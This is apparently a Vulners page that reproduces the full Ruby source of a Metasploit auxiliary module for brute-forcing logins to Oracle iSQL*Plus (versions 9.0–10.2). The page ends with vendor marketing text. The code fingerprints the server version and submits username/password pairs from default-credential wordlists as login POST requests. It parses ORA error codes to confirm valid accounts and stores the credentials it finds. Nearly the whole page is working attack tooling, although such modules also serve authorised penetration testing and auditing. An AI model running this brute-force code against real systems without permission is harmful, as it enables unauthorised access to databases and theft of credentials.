Lucene search
K

Oracle iSQL*Plus Login Utility

🗓️ 28 Mar 2011 01:20:51Reported by CG <[email protected]>, todb <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 41 Views

This module attempts to authenticate against an Oracle ISQL*Plus administration web site using username and password combinations. It does not require a valid SID but can use it if defined. The module will attempt to fingerprint the version and select the correct POST request

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::AuthBrute


  def initialize
    super(
      'Name'        => 'Oracle iSQL*Plus Login Utility',
      'Description' => %q{
        This module attempts to authenticate against an Oracle ISQL*Plus
        administration web site using username and password combinations indicated
        by the USER_FILE, PASS_FILE, and USERPASS_FILE.

        This module does not require a valid SID, but if one is defined, it will be used.
        Works against Oracle 9.2, 10.1 & 10.2 iSQL*Plus.  This module will attempt to
        fingerprint the version and automatically select the correct POST request.

      },
      'References'  =>
      [
        [ 'URL', 'https://blog.carnal0wnage.com/' ],
      ],
      'Author'      => [ 'CG', 'todb' ],
      'License'     => MSF_LICENSE
      )
      deregister_options('BLANK_PASSWORDS') # Blank passwords are never valid

      register_options([
        Opt::RPORT(5560),
        OptString.new('URI', [ true, 'Oracle iSQLPlus path.', '/isqlplus/']),
        OptString.new('SID', [ false, 'Oracle SID' ]),
        OptInt.new('TIMEOUT', [false, 'Time to wait for HTTP responses', 60]),
        OptPath.new('USERPASS_FILE',  [ false, "File containing users and passwords separated by space, one pair per line",
          File.join(Msf::Config.data_directory, "wordlists", "oracle_default_userpass.txt") ]),
        OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", false]),
      ])

  end

  def verbose
    datastore['VERBOSE']
  end

  def uri
    datastore['URI'].to_s
  end

  def timeout
    (datastore['TIMEOUT'] || 60).to_i
  end

  def prefix
    datastore['SSL'] ? "https" : "http"
  end

  def msg
    "#{prefix}://#{rhost}:#{rport}/#{datastore['URI'].gsub(/^\/+/,"")} -"
  end

  def get_oracle_version(ip)
    begin
      res = send_request_cgi({
        'version' => '1.1',
        'uri'     => uri,
        'method'  => 'GET',
      }, timeout)
      oracle_ver = nil
      if (res.nil?)
        print_error("#{msg} no response")
      elsif (res.code == 200)
        print_status("#{msg} Received an HTTP #{res.code}")
        oracle_ver = detect_oracle_version(res)
      elsif (res.code == 404)
        print_error("#{msg} Received an HTTP 404, check URIPATH")
      elsif (res.code == 302)
        print_error("#{msg} Received an HTTP 302 to #{res.headers['Location']}")
      else
        print_error("#{msg} Received an HTTP #{res.code}")
      end
      return oracle_ver
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
      print_error "#{msg} Cannot connect"
    end
  end

  def detect_oracle_version(res)
    m = res.body.match(/iSQL\*Plus Release (9\.0|9\.1|9\.2|10\.1|10\.2)/)
    oracle_ver = nil
    oracle_ver = 10 if m[1] && m[1] =~ /10/
      oracle_ver = m[1].to_f if m[1] && m[1] =~ /9\.[012]/
      if oracle_ver
        print_status("#{msg} Detected Oracle version #{oracle_ver}")
        print_status("#{msg} SID detection for iSQL*Plus 10.1 may be unreliable") if oracle_ver == 10.1
      else
        print_error("#{msg} Unknown Oracle version detected.")
      end
    return oracle_ver
  end

  def check_oracle_version(ver)
    [9.0,9.1,9.2,10].include? ver
  end

  def run_host(ip)
    datastore['BLANK_PASSWORDS'] = false # Always
    ver = get_oracle_version(ip)
    if not check_oracle_version(ver)
      print_error "#{msg} Unknown Oracle version, skipping."
      return
    end
    if datastore['SID'].nil? || datastore['SID'].empty?
      print_status "Using blank SID for authentication."
    end
    each_user_pass do |user, pass|
      # Blank passwords aren't allowed
      if pass.nil? || pass.empty?
        print_status "Skipping blank password for #{user}"
      else
        do_login(user, pass, ver)
      end
    end
  end

  def sid
    if datastore['SID'].nil? || datastore['SID'].empty?
      nil
    else
      datastore['SID']
    end
  end

  def do_login(user='DBSNMP', pass='DBSNMP', version=9.0)
    uri = datastore['URI']

    vprint_status("#{msg} Trying username:'#{user}' with password:'#{pass}' with SID '#{sid}'")
    success = false
    if version == 9.0
      postrequest = "action=logon&sqlcmd=&sqlparms=&username=#{user}&password=#{pass}&sid=#{sid}&privilege=&Log+In=%B5%C7%C2%BC"
    elsif (version == 9.1 || version == 9.2)
      postrequest = "action=logon&username=#{user}&password=#{pass}&sid=#{sid}&login=Login"
    elsif (version == 10)
      postrequest = "username=#{user}&password=#{pass}&connectID=#{sid}&report=&script=&dynamic=&type=&action=&variables=&event=login"
    end

    begin
      res = send_request_cgi({
        'version' => '1.1',
        'uri'     => uri,
        'method'  => 'POST',
        'data'   => postrequest,
        'headers' => { 'Referer' => "http://#{rhost}:#{rport}#{uri}" }
        }, timeout)
      unless (res.kind_of? Rex::Proto::Http::Response)
        vprint_error("#{msg} Not responding")
        return :abort
      end
      return :abort if (res.code == 404)

      if res.code == 200
        # English, German, and Danish.
        if (res.body =~ /Connected as/ or res.body =~ /Angemeldet als/ or res.body =~ /Arbejdssk/)
          success = true
        elsif (res.body =~ /ORA-01017:/ or res.body =~ /ORA-28273:/)
          #print_error("received ORA-01017 -- incorrect credentials")
          success = false
        elsif (res.body =~ /ORA-28009:/ )
          print_good("#{user}:#{pass} is correct but required SYSDBA or SYSOPER login")
          success = true
        elsif (res.body =~ /ORA-28000:/ )#locked account
          success = false
        elsif (res.body =~ /ORA-12170:/ or res.body =~ /ORA-12154:/ or res.body =~ /ORA-12162:/ or res.body =~ /ORA-12560:/)
          print_status("Incorrect SID -- please set a correct (or blank) SID")
          return :abort
        elsif
          print_error("Unknown response, assuming failed. (Supported languages are English, German, and Danish)")
          success = false
        end
      elsif res.code == 302
        print_status("received a 302 to #{res.headers['Location']}")
        return :abort
      else
        print_status("Unexpected Response of: #{res.code}")#''
        return :abort
      end

    rescue ::Rex::ConnectionError => e
      vprint_error("#{msg} - #{e}")
      return :abort
    end

    if success
      print_good("#{msg} successful login '#{user}' : '#{pass}' for SID '#{sid}'")
      report_isqlplus_service(target_host,res)
      report_oracle_sid(target_host,sid)
      report_isqlauth_info(target_host,user,pass,sid)
      return :next_user
    else
      vprint_error "#{msg} username and password failed"
      return :failed
    end
  end

  def report_isqlplus_service(ip,res)
    sname = datastore['SSL'] ? 'https' : 'http'
    report_service(
      :host => ip,
      :proto => 'tcp',
      :port => rport,
      :name => sname,
      :info => res.headers["Server"].to_s.strip
    )
  end

  def report_oracle_sid(ip,sid)
    report_note(
      :host => ip,
      :proto => 'tcp',
      :port => rport,
      :type => "oracle.sid",
      :data => ((sid.nil? || sid.empty?) ? "*BLANK*" : sid),
      :update => :unique_data
    )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def report_isqlauth_info(ip,user,pass,sid)
    ora_info = {
      ip: ip,
      port: rport,
      password: pass,
      proof: sid.inspect,
      service_name: 'tcp'
    }
    if sid.nil? || sid.empty?
      ora_info.merge! :user => user
    else
      ora_info.merge! :user => "#{sid}/#{user}"
    end
    report_cred(ora_info)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation